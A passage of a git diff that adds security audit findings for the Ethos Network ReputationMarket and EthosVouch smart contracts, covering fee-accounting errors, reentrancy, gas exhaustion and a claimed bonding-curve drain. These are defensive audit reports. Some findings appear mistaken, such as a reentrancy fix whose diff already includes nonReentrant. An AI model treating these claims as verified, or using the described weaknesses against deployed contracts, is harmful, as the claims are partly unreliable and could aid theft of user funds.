entry fees and exit fees are paid separately. + +### PoC + +_No response_ + +### Mitigation + +Entry and exit fees should have separate cap limitations since they are paid separately. \ No newline at end of file diff --git a/468.md b/468.md new file mode 100644 index 0000000..d67a19f --- /dev/null +++ b/468.md @@ -0,0 +1,52 @@ +Gigantic Blue Nuthatch + +Medium + +# Wrong check related to `enforceCreationAllowList` in `createMarketWithConfig` + +### Summary + +- In `createMarketWithConfig` function, there is a if statement which is to make sure that sender can create a market or not. But this check is wrongly implemented. + +```solidity +function createMarketWithConfig(uint256 marketConfigIndex) public payable whenNotPaused { + uint256 senderProfileId = _getProfileIdForAddress(msg.sender); +@> if (enforceCreationAllowList && !creationAllowedProfileIds[senderProfileId]) { + revert MarketCreationUnauthorized( + MarketCreationErrorCode.PROFILE_NOT_AUTHORIZED, + msg.sender, + senderProfileId + ); + } + _createMarket(senderProfileId, msg.sender, marketConfigIndex); + } + ``` +- When `enforceCreationAllowList` is set to true, only allowed profileIds can create the market and when it set to false anyone can create a market which is not correct. + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L285 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +- `enforceCreationAllowList` check not working as expected. + +### PoC + +_No response_ + +### Mitigation + +- protocol should make sure that `enforceCreationAllowList` check implemented correctly. \ No newline at end of file diff --git a/469.md b/469.md new file mode 100644 index 0000000..2f386d8 --- /dev/null +++ b/469.md @@ -0,0 +1,59 @@ +Flat Silver Boa + +Medium + +# Change the config Index with `removeMarketConfig()` is dangerous + +### Summary + +This function `ReputationMarket.sol#removeMarketConfig()` will change the config Index in the `marketConfigs[]` array. without warning the normal users about it. this will lead some user's transactions to end up with unexpected results + +### Root Cause + +The function [ReputationMarket.sol#removeMarketConfig()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L403-L409) will change the config Index in `marketConfigs[]` array. +```solidity + uint256 lastIndex = marketConfigs.length - 1; + if (configIndex != lastIndex) { + marketConfigs[configIndex] = marketConfigs[lastIndex]; + } + + marketConfigs.pop(); +``` + +So, If a user called `createMarketWithConfig()` before `removeMarketConfig()` function gets executed on-chain the user market will end up in the wrong market configs. + + +e.g. the user asks to create a market with 0.001ETH as an `initialLiquidity` (he sends 0.002ETH), but the new `marketConfigs` in that index has an `intialLiquidity` of 0.002ETH. The user expects to receive back his 0.001ETH. because the logic guaranteed that + +### Internal pre-conditions + + Admin triggers `ReputationMarket.sol#removeMarketConfig()` + +### External pre-conditions + +_No response_ + +### Attack Path + +1- currently the protocol has three market configurations Default, Deluxe & Premium +2- Admin call `removeMarketConfig()`. to remove the Default market configuration (The transaction is still not executed) +3- User triggers `createMarketWithConfig()` to create the Default market (The transaction is still not executed) +4- The Admin transaction gets executed +5- The User transaction gets executed (create the market with the wrong configurations - lose the refund of the remaining funds) + + +### Impact + +- The user doesn't receive expect the remaining funds, due to the difference in the `initialLiquidity` +- Users expect to create the market with X config but it ends up with Y config +- The `basePrice` could be so high (or too low) that no one will buy a TRUST for him +- Users are not able to close or change the wrong market config + +### PoC + +_No response_ + +### Mitigation + +- Add a buferr period or time lock so users can see the changes are coming soon to avoid this scenario +- Or pause the contract and allow `removeMarketConfig()` to be callable \ No newline at end of file diff --git a/470.md b/470.md new file mode 100644 index 0000000..2e83095 --- /dev/null +++ b/470.md @@ -0,0 +1,63 @@ +Generous Cerulean Wombat + +Medium + +# Reentrancy on function withdrawGraduatedMarketFunds + +### Summary + +Missing the non reentrant modifier or not following Check effects interaction exposes the function to reentrancy when withdrawing from graduated market + +### Root Cause + +In [ReputationMarket.sol: 660](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L660-L678) the function `withdrawGraduatedMarketFunds()` is missing the non reentrant modifier which prevents reentrancy. +This should not be an issue if the code follows CEI(checks effects interactions) but in this case, we make an external call to send eth [here](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L675) and then update a storage variable `marketFunds[profileId] = 0;` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +Use a non reentrant modifier or just follow CEI +```diff +-function withdrawGraduatedMarketFunds(uint256 profileId) public nonReentrant whenNotPaused { ++function withdrawGraduatedMarketFunds(uint256 profileId) public nonReentrant whenNotPaused { + address authorizedAddress = contractAddressManager.getContractAddressForName( + "GRADUATION_WITHDRAWAL" + ); + if (msg.sender != authorizedAddress) { + revert UnauthorizedWithdrawal(); + } + _checkMarketExists(profileId); + if (!graduatedMarkets[profileId]) { + revert MarketNotGraduated(); + } + if (marketFunds[profileId] == 0) { + revert InsufficientFunds(); + } ++uint256 marketFundsForId = marketFunds[profileId]; ++ marketFunds[profileId] = 0 ++ _sendEth(marketFundsForId); ++ emit MarketFundsWithdrawn(profileId, msg.sender, marketFundsForId); + - _sendEth(marketFunds[profileId]); + - emit MarketFundsWithdrawn(profileId, msg.sender, marketFunds[profileId]); + - marketFunds[profileId] = 0; + } +``` \ No newline at end of file diff --git a/471.md b/471.md new file mode 100644 index 0000000..9c4676c --- /dev/null +++ b/471.md @@ -0,0 +1,43 @@ +Oblong Marmalade Aphid + +High + +# There is a logic problem with _calcVotePrice, and the attacker has a way to make himself profitable forever. + +### Summary + +There is a logic problem with _calcVotePrice, and the attacker has a way to make himself profitable forever. +Specifically, the prices of TRUST and DISTRUST change in proportion to them. If the total amount of TRUST is greater, then the TRUST price will be higher. The sum of their two prices must be equal to basePrice. +Assume the following situation: +I'm a whale and when I participate in a market I only buy tokens priced below 1/2basePrice. Know to bring the price back to 1/2basePrice. This way, when the market ends, I will always be able to sell my tokens at 1/2basePrice. Thus I earned the difference. Even if there are fees, I can do this before the market closes and calculate whether I still have room for profit after subtracting the fees. +Let’s give a simple example to illustrate this price difference: +Assume that the initial TRUST(T) and DISSTRUST(D) are both 1. A user buys 1 T, so T=2, D=1. Then the price of D at this time is 1/3basePrice. Eventually I was able to sell at 1/2basePrice. Even though the handling fee is as high as 10% basePrice. Then my arbitrage space also includes (1/2-1/3-1/10) basePrice. + +### Root Cause + +In [ReputationMarket.sol#L920-L923](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L920-L923), there is room for arbitrage in the price calculation model. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +1. This will benefit the attacker and cause losses to normal voting users. +2. This will make it impossible to achieve the original intention of the protocol design, that is, it will not be possible to use voting to judge whether an account is trustworthy. Seriously undermines the usability of the protocol. + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/472.md b/472.md new file mode 100644 index 0000000..1cf715c --- /dev/null +++ b/472.md @@ -0,0 +1,50 @@ +Gigantic Blue Nuthatch + +Medium + +# `buyVotes` transaction can go out of gas + +### Summary + +- In `buyVotes` function, user provide eth amount in msg.value and `_calculateBuy` will count how much votes user can buy with this amount of eth where vote price is changed with every buy. +- When there is a Premium tier market config, the initial votes are 10000 both the side means the total votes are 20000 at start. With each buy and sell, the vote price changes but due to big amount of total price, the price fluctuation is very low compare to other market config. +- In such market, over a period of time when price moves one side, the other side price will be very less. And when a user will come to buy big amount of votes of lower price, the transaction will be ran out of gas due to so many iteration of while loop and user will not able to buy votes. + +```solidity +while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } + ``` + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L970C4-L977C6 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +- User transaction will run out of gas and not able to buy votes. + +### PoC + +_No response_ + +### Mitigation + +- Protocol should make sure that such cases not arise. \ No newline at end of file diff --git a/473.md b/473.md new file mode 100644 index 0000000..bfc8278 --- /dev/null +++ b/473.md @@ -0,0 +1,55 @@ +Oblong Marmalade Aphid + +Medium + +# The market contract had some incorrect hard-coded configuration when it was initialized. + +### Summary + +The market contract had some incorrect hard-coded configuration when it was initialized. +For example, the comment states that the initial Liquidity is 0.002ETH, but it is actually set to 0.02ETH. +```solidity + // --- Constants --- + uint256 public constant DEFAULT_PRICE = 0.01 ether; + + // Default tier + // - Minimum viable liquidity for small/new markets + // - 0.002 ETH initial liquidity + // - 1 vote each for trust/distrust (volatile price at low volume) + marketConfigs.push( + MarketConfig({ + initialLiquidity: 2 * DEFAULT_PRICE, // 0.02 ether + initialVotes: 1, + basePrice: DEFAULT_PRICE + }) + ); +``` + +### Root Cause + +In [ReputationMarket.sol#L79](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L79) , DEFAULT_PRICE = 0.01 ether. +In [ReputationMarket.sol#L219-L252](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L219-L252), three incorrect configurations were set. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Markets are misconfigured and users end up creating markets with these misconfigurations + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/474.md b/474.md new file mode 100644 index 0000000..211b1e3 --- /dev/null +++ b/474.md @@ -0,0 +1,38 @@ +Oblong Marmalade Aphid + +Medium + +# The total commission in the market contracts exceeds the 10% stated in the documentation. + +### Summary + +The total commission in the market contracts exceeds the 10% stated in the [documentation](https://audits.sherlock.xyz/contests/675). +Although the MAX_PROTOCOL_FEE_BASIS_POINTS and MAX_DONATION_BASIS_POINTS limits are both 5%. However, there are two PROTOCOL_FEEs, entryProtocolFeeBasisPoints and exitProtocolFeeBasisPoints. these two limits add up to 10%, and with the addition of MAX_DONATION_BASIS_POINTS, the maximum cost reaches 15%. + +### Root Cause + +In [ReputationMarket.sol#L593-L624](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L593-L624), the maximum of the three fees reaches 15%. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +This may make the user pay more in processing fees. + +### PoC + +_No response_ + +### Mitigation + +It is recommended that MAX_PROTOCOL_FEE_BASIS_POINTS be reduced to 250 \ No newline at end of file diff --git a/475.md b/475.md new file mode 100644 index 0000000..e6ab0ff --- /dev/null +++ b/475.md @@ -0,0 +1,39 @@ +Gigantic Blue Nuthatch + +Medium + +# User will unvouch himself before getting slash + +### Summary + +- When slasher role slash a user, there will be an evaluation period in which user will get to know that he is going to be slashed. +- In that time, user will unvouch and get the amount back so that user will not have to pay 10% slash fees. +- This way user can escape from slash fees. + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L520 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +- User will not have to pay slash fees. + +### PoC + +_No response_ + +### Mitigation + +- Protocol should make sure that user cannot able to escape from slash fees. \ No newline at end of file diff --git a/476.md b/476.md new file mode 100644 index 0000000..c393cd9 --- /dev/null +++ b/476.md @@ -0,0 +1,43 @@ +Gigantic Blue Nuthatch + +Medium + +# Total fees can exceed 10% in `EthosVouch` + +### Summary + +- The readme of the ethos says that total fees of both contract cannot exceed 10%. +- But in the code od EthosVouch contract `MAX_TOTAL_FEES` is 10000 means it can be maximum 100%. +- That means total fees of the EthosVouch contract can exceed 10%. + +```solidity +uint256 public constant MAX_TOTAL_FEES = 10000; +``` + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +- Total fees can exceed 10% in `EthosVouch` + +### PoC + +_No response_ + +### Mitigation + +- Set `MAX_TOTAL_FEES` to 1000. \ No newline at end of file diff --git a/477.md b/477.md new file mode 100644 index 0000000..3bc6378 --- /dev/null +++ b/477.md @@ -0,0 +1,160 @@ +Petite Zinc Porcupine + +High + +# Wrong assignment value to `marketFunds[profileId]` may cause the `ReputationMarket::withdrawGraduatedMarketFunds` to revert for not enough ETH + +### Summary + +When `ReputationMarket::withdrawGraduatedMarketFunds` is called, it may reverts because of insufficient funds in the contract. This issue is caused in turn by a wrong value assignment to `marketFunds[profileId]` which is made in `ReputationMarket::buyVotes`. + +## Relevant GitHub Links +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L675 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L978 + +### Root Cause + +In the `ReputationMarket::buyVotes` function it is assigned `marketFunds[profileId] += fundsPaid`. + +```solidity + // Apply fees first + applyFees(protocolFee, donation, profileId); + + // Update market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + + // Add buyer to participants if not already a participant + if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; + } + + // Calculate and refund remaining funds + uint256 refund = msg.value - fundsPaid; + if (refund > 0) _sendEth(refund); + + // tally market funds + marketFunds[profileId] += fundsPaid; + ``` + +The value of `fundsPaid` is taken as output of `ReputationMarket::_calculateBuy` and it considers `protocolFee` and the `donation` being `fundsPaid += protocolFee + donation`. + +```solidity + while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } + fundsPaid += protocolFee + donation; + ``` + + The assignment to `marketFunds[profileId]` in `ReputationMarket::buyVotes` is done after that `protocolFee` amount has been sent through `ReputationMarket::applyFees` to the `protocolFeeAddress` (so it is not still in `ReputationMarket` balance). + +`Donations` may be withdrawn by users (the recipient user) by calling a function `ReputationMarket::withdrawDonations`. + +Then, when `ReputationMarket::withdrawGraduatedMarketFunds` is called it may reverts because of `ReputationMarket` running out of funds. + +```solidity +function applyFees( + uint256 protocolFee, + uint256 donation, + uint256 marketOwnerProfileId + ) private returns (uint256 fees) { + donationEscrow[donationRecipient[marketOwnerProfileId]] += donation; + if (protocolFee > 0) { + (bool success, ) = protocolFeeAddress.call{ value: protocolFee }(""); + if (!success) revert FeeTransferFailed("Protocol fee deposit failed"); + } + fees = protocolFee + donation; + } + ``` + ```solidity + function withdrawGraduatedMarketFunds(uint256 profileId) public whenNotPaused { + address authorizedAddress = contractAddressManager.getContractAddressForName( + "GRADUATION_WITHDRAWAL" + ); + if (msg.sender != authorizedAddress) { + revert UnauthorizedWithdrawal(); + } + _checkMarketExists(profileId); + if (!graduatedMarkets[profileId]) { + revert MarketNotGraduated(); + } + if (marketFunds[profileId] == 0) { + revert InsufficientFunds(); + } + + _sendEth(marketFunds[profileId]); + emit MarketFundsWithdrawn(profileId, msg.sender, marketFunds[profileId]); + marketFunds[profileId] = 0; + } + ``` + +### Internal pre-conditions + +At least a market has been created, at least 1 vote has been bought, and then it has been graduated. (with a `marketFunds[profileId] > 0`) + +### External pre-conditions + +`Recipient address` withdraws donations of the market. + +`authorizedAddress` wants to withdraw the market funds calling the `ReputationMarket::withdrawGraduatedMarketFunds`. + +### Attack Path + +Market is created. + +At least 1 vote has been bought, and the `ProtocolFee` is sent to the `protocolFeeAddress`. + +Donations are withdrawn. (Not always necessary because in some cases just the sum of all `protocolFees` paid for the market votes bought could be enough +to cause that `ReputationMarket::withdrawGraduatedMarketFunds` revert when called). + +Market is graduated. + +`ReputationMarket::withdrawGraduatedMarketFunds` is called by the `authorizedAddress` for the market (graduated market) and it reverts because of insufficient funds. + +### Impact + +The `ReputationMarket.sol` could run out of funds, with these possible impacts: + +The `authorizedAddress` could not be able to withdraw the funds of the market (graduated market), using `ReputationMarket::withdrawGraduatedMarketFunds` if the ETH balance of `ReputationMarket.sol` is `<` than the `marketFunds[profileId]` (which is the amount that should be withdrawn) because of `protocolFees` and +donations that have already left the contract balance. + +The `recipient address` could not be able to withdraw the `donations` (having that `donationEscrow[recipientAddress]>0` ). This may happen if `authorizedAddress` withdraws `marketFunds[profileId]` first through the `ReputationMarket::withdrawGraduatedMarketFunds` and the balance of the contract had enough ETH. + + +### PoC + +_No response_ + +### Mitigation + +A possible solution could be this: + +```solidity + // Apply fees first + applyFees(protocolFee, donation, profileId); + + // Update market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + + // Add buyer to participants if not already a participant + if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; + } + + // Calculate and refund remaining funds + uint256 refund = msg.value - fundsPaid; + if (refund > 0) _sendEth(refund); + + // tally market funds + - marketFunds[profileId] += fundsPaid; + + marketFunds[profileId] += fundsPaid - protocolFee - donation; + ``` \ No newline at end of file diff --git a/478.md b/478.md new file mode 100644 index 0000000..91589a9 --- /dev/null +++ b/478.md @@ -0,0 +1,39 @@ +Gigantic Blue Nuthatch + +Medium + +# User can increase vouch amount even when contract is paused + +### Summary + +- When owner of the contract pause the contract, user should not able to increase their vouch. +- But `increaseVouch` function does not have `whenNotPaused` modifier. +- That means user can increase vouch amount even when contract is paused. + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +- User can increase vouch amount even when contract is paused + +### PoC + +_No response_ + +### Mitigation + +- Use `whenNotPaused` modifier in `increaseVouch` function. \ No newline at end of file diff --git a/479.md b/479.md new file mode 100644 index 0000000..f0eca7c --- /dev/null +++ b/479.md @@ -0,0 +1,64 @@ +Proud Chartreuse Whale + +High + +# Compromised address of the Voucher can unvouch and steal the vouch money due to lack of proper validation + +### Summary + +If the address the user used to vouch gets compromised/hacked , it will be able to easily steal the user's entire vouch money due to lack of proper validations in EthosVouch.unvouch() + +### Root Cause + +EthosVouch.unvouch() lack proper validations which causes compromised user address to unvouch and steal users'money + +```Solidity +function unvouch(uint256 vouchId) public whenNotPaused nonReentrant { + Vouch storage v = vouches[vouchId]; + _vouchShouldExist(vouchId); + _vouchShouldBePossibleUnvouch(vouchId); + // because it's $$$, you can only withdraw/unvouch to the same address you used to vouch + // however, we don't care about the status of the address's profile; funds are always attached + // to an address, not a profile + if (vouches[vouchId].authorAddress != msg.sender) { + revert AddressNotVouchAuthor(vouchId, msg.sender, vouches[vouchId].authorAddress); + } + + v.archived = true; + // solhint-disable-next-line not-rely-on-time + v.activityCheckpoints.unvouchedAt = block.timestamp; + // remove the vouch from the tracking arrays and index mappings + _removeVouchFromArrays(v); + + // apply fees and determine how much is left to send back to the author + (uint256 toWithdraw, ) = applyFees(v.balance, false, v.subjectProfileId); + // set the balance to 0 and save back to storage + v.balance = 0; + // send the funds to the author + // note: it sends it to the same address that vouched; not the one that called unvouch + (bool success, ) = payable(v.authorAddress).call{ value: toWithdraw }(""); + if (!success) { + revert FeeTransferFailed("Failed to send ETH to author"); + } + + emit Unvouched(v.vouchId, v.authorProfileId, v.subjectProfileId); + } +``` +[RepoLink](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L452-L481) + +Proper validation for compromised address checks like EthosProfile.IsAddressCompromised[msg.sender] should be used before an address can execute unvouch. + + +### Impact + +If the profile address used to vouch gets compromised/hacked , it will be able to unvouch and steal the user's enitre vouch money due to lack of proper validations + +### PoC + +_No response_ + +### Mitigation + +Implement validations to ensure address calling unvouch is not marked compromised: + +`require(!EthosProfile.IsAddressCompromised[msg.sender],"Address Compromised");` \ No newline at end of file diff --git a/480.md b/480.md new file mode 100644 index 0000000..8ae5e28 --- /dev/null +++ b/480.md @@ -0,0 +1,41 @@ +Flat Silver Boa + +Medium + +# Update the `marketFunds[ ]` mapping with wrong values + +### Summary + +The values in side `marketFunds[profileId]` are not correct + +### Root Cause + +In [ReputationMarket.sol#buyVotes()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481) function increase the tally market funds `marketFunds[profileId] += fundsPaid;` + However, taking a back step it will show how is the `fundsPaid` value calculated +From [_calculateBuy()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L972-L978) logic the value of `fundsPaid` comes from three parts: +1- `fundsPaid += votePrice;` is the total price of the votes +2- `protocolFee` +3- `donation` + +the `protocolFee` will leave the contract immediately (check `applyFees()`) and `donation` is saved in `donationEscrow[ ]` mapping with it could get withdraw at any time using `withdrawDonations()` + +So, both parts 2 and 3 are out, only 1 is still in the contract. +the `marketFunds[]` values will be used after withdrawing funds from a graduated market, which will transfer the wrong value to the authorized graduation withdrawal address (the excited amount could be from the user's donations) + +### Attack Path + +1- Every time the user calls `buyVotes()` the value of `marketFunds[]` will increased more than it should +2- At some point, the `withdrawGraduatedMarketFunds()` will withdraw all funds from a graduated market + +### Impact + +- The `withdrawGraduatedMarketFunds()` will withdraw more funds than it should from the `ReputationMarket.sol` contract this will leave the contract in deficit +- The graduated markets Process will not be possible (in case of the last market) due to insufficient funds in this contract + +### Mitigation + +Update this line from `buyVotes()` +```diff +- marketFunds[profileId] += fundsPaid; ++ marketFunds[profileId] += fundsPaid - protocolFee - donation +``` \ No newline at end of file diff --git a/481.md b/481.md new file mode 100644 index 0000000..6b3e946 --- /dev/null +++ b/481.md @@ -0,0 +1,89 @@ +Straight Slate Bee + +High + +# `ReputationMarket::buyVotes()` includes Fees paid in Market Funds + +### Summary + +Fees are paid to the protocol and Escrow when buying Votes, leading to increasing in Market funds that the real Ether puts in it. + + +### Root Cause + +in `ReputationMarket::buyVotes()` the caller sends Ether, and Fees are taken from the user. `_calculateBuy()` returns the amount of ETH for buying a certain number of votes including protocol fees and escrow [1]. Then, fees are transferred to protocols and Escrow [2]. Then, We deduct this amount from the ether sent `msg.value` and return the user [3]. Lastly. increase Market funds buy `fundsPaid` [4]. + +[ReputationMarket.sol#L481](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481) +```solidity + function buyVotes( ... ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // Determine how many votes can be bought with the funds provided + ( + uint256 votesBought, +1: uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + _checkSlippageLimit(votesBought, expectedVotes, slippageBasisPoints); + + // Apply fees first +2: applyFees(protocolFee, donation, profileId); + + ... + + // Calculate and refund remaining funds + uint256 refund = msg.value - fundsPaid; +3: if (refund > 0) _sendEth(refund); + + // tally market funds +4: marketFunds[profileId] += fundsPaid; + ... + } +``` + +`fundsPaid` includes the money paid for Votes as well as fees. Fees are not stored in the contract, they are transfered to the protocol directly, and escrow can withdraw his token anytime, so this will make the amount stored in Market funds greater than the actual ether stored in the contract. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +This will have a more critical problem, where the profile can get `Graduated`, which will allow `GRADUATION_WITHDRAWAL` to withdraw the money stored in the market (`marketFunds`). But as the value is greater than the actual ETH sent by Voters for that profile Market (because of not decreasing protocol Fees and escrow donations when buying votes), this will result in decreasing the actual Ether balance from the contract, breaking the invariant of actual ETH stored be >= Internal Balance stored in the contract (Market Funds, Escrow). + +### PoC + +_No response_ + +### Mitigation + +Subtract the fees sent to the protocol (entry fees) and donations to escrow from the total money paid by the voter before, then increase the market funds with that amount. + +```diff +diff --git a/ethos/packages/contracts/contracts/ReputationMarket.sol b/ethos/packages/contracts/contracts/ReputationMarket.sol +index 0a70a10..f5b42b0 100644 +--- a/ethos/packages/contracts/contracts/ReputationMarket.sol ++++ b/ethos/packages/contracts/contracts/ReputationMarket.sol +@@ -478,7 +478,7 @@ contract ReputationMarket is AccessControl, UUPSUpgradeable, ReentrancyGuard { + if (refund > 0) _sendEth(refund); + + // tally market funds +- marketFunds[profileId] += fundsPaid; ++ marketFunds[profileId] += (fundsPaid - protocolFee - donation); + emit VotesBought( + profileId, + msg.sender, +``` \ No newline at end of file diff --git a/482.md b/482.md new file mode 100644 index 0000000..1d8b732 --- /dev/null +++ b/482.md @@ -0,0 +1,110 @@ +Straight Slate Bee + +High + +# `ReputationMarket::sellVotes()` doesn't deduct exit fees taken from the Voter from the MarketFunds + +### Summary + +When selling Votes, the money to be given to the user is decreased by the exit fees, and we decrease the total Market Funds by the amount of user funds without including fees + + +### Root Cause + +in `ReputationMarket::sellVotes()` when selling Votes, we calculate the funds to be sent to the seller, by subtracting the exit fees from his Votes balance. + +[ReputationMarket.sol#L1041](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1041) +```solidity + function _calculateSell( ... ) ... { + ... + + while (votesSold < amount) { + ... + fundsReceived += votePrice; + votesSold++; + } +>> (fundsReceived, protocolFee, ) = previewFees(fundsReceived, false); + minPrice = votePrice; + + return (votesSold, fundsReceived, votePrice, protocolFee, minPrice, maxPrice); + } +``` + +This amount (`fundsReceived`) is the money of user Votes subtracting exit fees from it [1]. Then, we send exit fees to the protocol [2]. Then, we send the seller his money [3]. Lastly, we deduct Market funds by the amount of funds the user receives [4]. + + +```solidity + function sellVotes( ... ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // calculate the amount of votes to sell and the funds received + ( + uint256 votesSold, +1: uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + + ... + +2: applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller +3: _sendEth(fundsReceived); + // tally market funds +4: marketFunds[profileId] -= fundsReceived; + ... + } +``` + +The problem here is that the actual ether transferred from the contract is: + +1. `exitFees` to the Contract +2. `fundsReceived` to the seller + +But we only decrease `fundsReceived` from the Market Funds, which will make Market Funds' internal amount greater than the actual amount of Ether paid from Voters for that market, which will cause draining of the contract in case of graduating it. + + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +This will have a more critical problem, where the profile can get `Graduated`, which will allow `GRADUATION_WITHDRAWAL` to withdraw the money stored in the market (`marketFunds`). But as the value is greater than the actual ETH sent by Voters for that profile Market (because of not decreasing exit Fees when selling votes), this will result in decreasing the actual Ether balance from the contract, breaking the invariant of actual ETH stored be >= Internal Balance stored in the contract (Market Funds, Escrow). + +### PoC + +_No response_ + +### Mitigation + +Subtract the fees sent to the protocol (exit fees) as well as funds transferred to the Seller from the Market Funds. + + +```diff +diff --git a/ethos/packages/contracts/contracts/ReputationMarket.sol b/ethos/packages/contracts/contracts/ReputationMarket.sol +index 0a70a10..1926b3a 100644 +--- a/ethos/packages/contracts/contracts/ReputationMarket.sol ++++ b/ethos/packages/contracts/contracts/ReputationMarket.sol +@@ -519,7 +519,7 @@ contract ReputationMarket is AccessControl, UUPSUpgradeable, ReentrancyGuard { + // send the proceeds to the seller + _sendEth(fundsReceived); + // tally market funds +- marketFunds[profileId] -= fundsReceived; ++ marketFunds[profileId] -= (fundsReceived + protocolFee); + emit VotesSold( + profileId, + msg.sender, +``` diff --git a/483.md b/483.md new file mode 100644 index 0000000..ff404f8 --- /dev/null +++ b/483.md @@ -0,0 +1,170 @@ +Straight Slate Bee + +High + +# Users Can completely Drain The contract Because of the Non-Linear Bonding Curve Buying/Selling architecture + +### Summary + +Because of The Bonding Curve Mathematical Calculations Buying Votes/disVotes is not the same as selling Votes/disVotes with the same Steps, which can be used to Sell Votes with a Value greater than Buying. + + +### Root Cause + +The protocol uses the Bonding Curve Equation to determine votes/disVotes Price, Users can buy Votes/disVotes from a state (lets stay at the initial state of vote/disVote equal `1`), buy Votes till The number of Votes/disVotes increases to `10` for each in a given sequence. Then, sell the Votes/disVotes they bought in another sequence till the state reset to a number of votes/disVotes is `1` (same as the initial state). The resulting outcoming money for that user when selling will be greater than the money he used in buying in some circumstances as the bonding curve is a non-linear function and changing sequence of change will not result in resetting to the initial state (total buying value equals the value of selling). + 